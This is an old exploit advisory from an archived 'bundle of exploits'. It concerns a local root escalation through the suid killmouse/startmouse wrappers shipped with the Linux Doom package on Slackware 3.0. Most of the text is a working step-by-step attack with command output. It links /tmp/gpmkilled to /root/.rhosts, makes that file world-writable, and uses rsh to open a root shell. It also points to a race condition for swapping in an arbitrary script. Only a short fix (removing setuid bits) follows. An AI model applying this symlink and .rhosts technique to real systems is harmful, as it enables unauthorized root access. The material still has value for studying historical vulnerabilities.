home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / gpm-exploit.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  70 lines

  1.  
  2.  
  3. System:
  4. Probably  Linux  specific.  Slackware  3.0 (installs Linux 1.2.13) which
  5. have  gpm  utility  and/or  the  Doom  package installed are vulnerable.
  6. Other distributions might be too.
  7.  
  8. Impact:
  9. Local users can acquire root status.
  10.  
  11. Background:
  12. The  problem  is  the  killmouse/startmouse command that is part of Doom
  13. package  on  Linux  systems.  It  is  actually a C-wrapper that runs two
  14. scripts  (killmouse.sh/startmouse.sh). It runs suid root.
  15.  
  16. /usr/games/doom/startmouse.sh:
  17. #!/bin/sh
  18. if [ -r /tmp/gpmkilled ]; then
  19.   /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
  20.   /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
  21. fi
  22.  
  23. /usr/games/doom/killmouse.sh:
  24. #!/bin/sh
  25. if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then
  26.   GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
  27. fi
  28.  
  29. Problem:
  30. I would try to describe the problem but I can't stop laughing.
  31.  
  32. Exploit:
  33. This  can  be  exploited  in  a few similar ways. Here's just one. Let's
  34. assume  the  gpm  utility is not running. We can't start it up ourselves
  35. as gpm is only to be run by root. So we'll use startmouse to fire it up:
  36.  
  37. $ touch /tmp/gpmkilled
  38. $ /usr/games/doom/startmouse
  39.  
  40. ps -aux | grep gpm
  41. bo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpm
  42. root      1407  0.0  2.4   42  368  ?  S    16:24   0:00 /usr/bin/gpm t ms
  43.  
  44. Fine,  it's  running.  Now  we'll use killmouse to kill the process, but
  45. first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts:
  46.  
  47. $ umask 0
  48. $ ln -s /root/.rhosts /tmp/gpmkilled
  49. $ /usr/games/doom/killmouse
  50.  1407  ?  S     0:00 gpm t ms
  51.  
  52. $ ls -l /root/.rhosts
  53. -rw-rw-rw-   1 root     users           0 Dec 13 16:44 /root/.rhosts
  54.  
  55. $ echo localhost bo > /root/.rhosts
  56. $ rsh -l root localhost sh -i
  57. bash#
  58.  
  59. Bingo.  On  some  systems gpm might not be started in /etc/rc.d/rc.local
  60. so  the  startmouse  script will fail. But gpm might be running already.
  61. If  neither of these conditions are met, note that startmouse.sh creates
  62. /tmp/gpmscript  and runs it in a shell. There's a window of time between
  63. creating  the  script and executing it, so we have a nice race condition
  64. here; it can be replaced with anything you like prior to execution.
  65.  
  66.  
  67. Solution:
  68. Remove  setuid  bits  of  killmouse/startmouse.  Better yet - nuke them.
  69. While your at it, nuke Doom too - it's a stupid game anyway :-)
  70.